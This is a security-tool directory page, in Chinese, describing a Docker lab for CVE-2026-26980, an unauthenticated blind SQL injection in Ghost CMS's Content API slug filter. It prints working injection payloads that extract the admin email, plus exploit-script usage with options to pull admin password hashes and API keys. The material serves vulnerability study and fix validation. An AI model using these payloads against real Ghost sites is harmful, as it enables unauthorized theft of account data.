Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
ghost-cve-2026-26980 — CVE-2026-26980 — Ghost CMS 内容 API SQL 注入实验环境(通过 slug 过滤器排序实现未认证的盲注 SQL 注入) | Kitploit
工具/GitHubGitHub/dinosn/ghost-cve-2026-26980
漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试学习与教育数据库安全实验室与实践
GitHubdinosn/ghost-cve-2026-26980

ghost-cve-2026-26980

CVE-2026-26980 — Ghost CMS 内容 API SQL 注入实验环境(通过 slug 过滤器排序实现未认证的盲注 SQL 注入)

查看仓库
19435个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-26980 — Ghost CMS Content API SQL 注入实验环境

通过 Content API 的 slug 过滤器排序机制,在 Ghost CMS 中实现未认证的盲 SQL 注入,允许在无需凭据的情况下从任意 Ghost 实例读取任意数据库内容。

CVECVE-2026-26980
公告GHSA-w52v-v783-gw97
CVSS9.4(严重)
CWECWE-89(SQL 注入)
受影响版本Ghost 3.24.0 -- 6.19.0
修复版本Ghost 6.19.1
所需认证无(Content API 密钥按设计为公开)
致谢/参考Nicholas Carlini 使用 Claude,Anthropic [https://www.youtube.com/watch?v=1sd26pWhfmg]

免责声明 -- 本实验环境仅用于授权的安全测试、教育和防御性研究。请勿将其用于您不拥有或未经明确许可测试的系统。

概述

Ghost 的 Content API 支持使用数组表示法按 slug 过滤标签和文章:filter=slug:[tag-a,tag-b]。在内部,一个辅助函数会构建 ORDER BY CASE 语句以保持请求的 slug 顺序。在 v6.19.1 之前,用户提供的 slug 值未经参数化直接插入到该 SQL 中:

root@kitploit:~
// ghost/core/core/server/api/endpoints/utils/serializers/input/utils/slug-filter-order.js(存在漏洞)
order += `WHEN \`${table}\`.\`slug\` = '${slug}' THEN ${index} `;

Content API 密钥嵌入在每个 Ghost 站点的 HTML 中(data-key="..."),这使得该攻击面完全无需认证。

漏洞机制

NQL 绕过

Ghost 的 NQL 查询语言会验证过滤器输入并拒绝原始单引号或空格。然而,NQL 接受数组表示法中的单引号包裹值(slug:['value']),将引号作为字面量的一部分传递。slugFilterOrder 正则表达式提取这些值并将其(包括引号)插入到 SQL 中:

root@kitploit:~
Filter:  slug:['||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||',news]
                ^                                          ^
                NQL 将引号作为字面字符传递

生成的 SQL

插入后 ORDER BY 变为:

root@kitploit:~
CASE
  WHEN `tags`.`slug` = ''||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||'' THEN 0
  WHEN `tags`.`slug` = 'news' THEN 1
END ASC

在 MySQL 的默认 SQL 模式下,|| 是 OR,'' 为假值。这为我们提供了一个清晰的布尔盲注判定条件:

条件CASE 结果效果
TRUE'' OR 0 OR '' = 0正常响应(HTTP 200)
FALSE'' OR EXP(710) OR ''DOUBLE 溢出错误(HTTP 500)

数据提取

在建立判定条件后,即可应用标准的二分搜索盲注提取:

root@kitploit:~
slug:['||CASE WHEN ORD(SUBSTR((SELECT email FROM users LIMIT 1) FROM 1 FOR 1)) > 64 THEN 0 ELSE EXP(710) END||',news]

SUBSTR(... FROM pos FOR len) 语法避免了逗号(slugFilterOrder 会按逗号分割)。

截图

布尔判定条件:TRUE 条件(HTTP 200)与 FALSE 条件(HTTP 500)

TRUE (1=1) → HTTP 200FALSE (1=0) → HTTP 500
TRUEFALSE

二分搜索数据提取

数据提取

修复验证:v6.18.0 与 v6.19.1

修复验证

更多截图

Ghost 前端

Ghost 前端

页面源码中的 Content API 密钥

API 密钥

正常 API 响应

正常请求

修复方案(v6.19.1)

该修复将字符串插值替换为参数化绑定:

root@kitploit:~
// 已修复
caseParts.push(`WHEN \`${table}\`.\`slug\` = ? THEN ?`);
bindings.push(slug.trim(), index);

crud.js 插件已更新,通过 orderByRaw 传递绑定,并且 @tryghost/bookshelf-plugins 已升级至 0.6.29,该版本增加了绑定支持。

实验环境搭建

前提条件

  • Docker 与 Docker Compose
  • Python 3.8+ 及 requests 库

快速开始

root@kitploit:~
# 克隆并进入实验环境
git clone <this-repo> && cd ghost-cve-2026-26980

# 安装 Python 依赖
pip install -r requirements.txt

# 启动存在漏洞的 Ghost 实例(6.18.0 + MySQL 8)
docker compose up -d

# 等待约 45 秒让 Ghost 完成初始化,然后运行利用脚本
python3 exploit.py --url http://localhost:2368

验证修复

root@kitploit:~
# 同时在 2369 端口启动已修复的 Ghost 6.19.1
docker compose --profile fixed up -d

# 等待约 45 秒,然后确认修复阻止了注入
python3 exploit.py --url http://localhost:2369 --validate-fix

一键验证

root@kitploit:~
bash validate.sh

清理

root@kitploit:~
docker compose --profile fixed down -v

利用脚本用法

root@kitploit:~
usage: exploit.py [-h] [--url URL] [--validate-fix] [--extract-password]
                  [--extract-api-key] [--content-key KEY] [-v]

options:
  --url URL            Ghost URL(默认:http://localhost:2368)
  --validate-fix       确认目标不存在漏洞
  --extract-password   同时提取管理员 bcrypt 哈希
  --extract-api-key    同时提取管理员 API 密钥
  --content-key KEY    跳过设置,直接使用此 Content API 密钥
  -v, --verbose        显示每次查询的判定条件结果

示例输出

root@kitploit:~
====================================================
CVE-2026-26980 — Ghost CMS Content API SQL 注入
====================================================

[*] 等待 Ghost 在 http://localhost:2368 就绪
[*] 设置 Ghost(admin: [email protected])
[+] 设置完成 — 建立会话
[+] 已登录
[+] Content API 密钥: ad63c06a71457583ea58f050c1
[+] 锚点 slug: news

[*] 阶段 1 — 布尔盲注验证
  CASE WHEN 1=1:  200 (TRUE)
  CASE WHEN 1=0:  500 (FALSE)
  [+] 布尔判定条件已确认 — 存在漏洞

[*] 阶段 2a — 提取管理员邮箱
  测量管理员邮箱长度... 21 个字符
  提取中: [email protected]
  [+] 邮箱: [email protected]

============================================================
  利用结果摘要
============================================================
  目标:        http://localhost:2368
  CVE:           CVE-2026-26980
  Content 密钥:   ad63c06a71457583ea58f050c1
  管理员邮箱:   [email protected]
============================================================

同版本修复的另一个漏洞:CVE-2026-29053(通过主题实现 RCE)

同一版本还修复了第二个漏洞。Ghost 的 {{#get}} Handlebars 辅助函数使用 jsonpath 包(依赖 static-eval)来解析路径表达式。恶意主题可以构造通过原型链遍历到达 Function() 的表达式,从而实现服务器端代码执行。

CVECVE-2026-29053
受影响版本Ghost 0.7.2 -- 6.19.0
认证管理员(主题上传)
修复将 jsonpath 替换为受限的 querySimplePath() 函数,仅支持点号表示法、[N] 和 [*]

本实验环境聚焦于 CVE-2026-26980,因为它无需认证且对外部攻击者更具影响力。

文件

root@kitploit:~
.
├── README.md              # 本文件
├── docker-compose.yml     # Ghost 6.18.0(存在漏洞)+ 6.19.1(已修复),使用 MySQL 8
├── exploit.py             # 完整 PoC:设置、验证、提取
├── validate.sh            # 端到端验证脚本
└── requirements.txt       # Python 依赖

参考

  • Ghost 安全公告 GHSA-w52v-v783-gw97
  • NVD 条目 CVE-2026-26980
  • 修复提交:Content API slug 过滤器排序中的 SQL 注入
  • 修复提交:将 jsonpath 替换为自定义路径解析器
  • CVE-2026-29053 分析文章(Hidden Investigations)

许可证

本实验环境根据 MIT 许可证提供,仅用于教育和授权的安全测试目的。

下载工具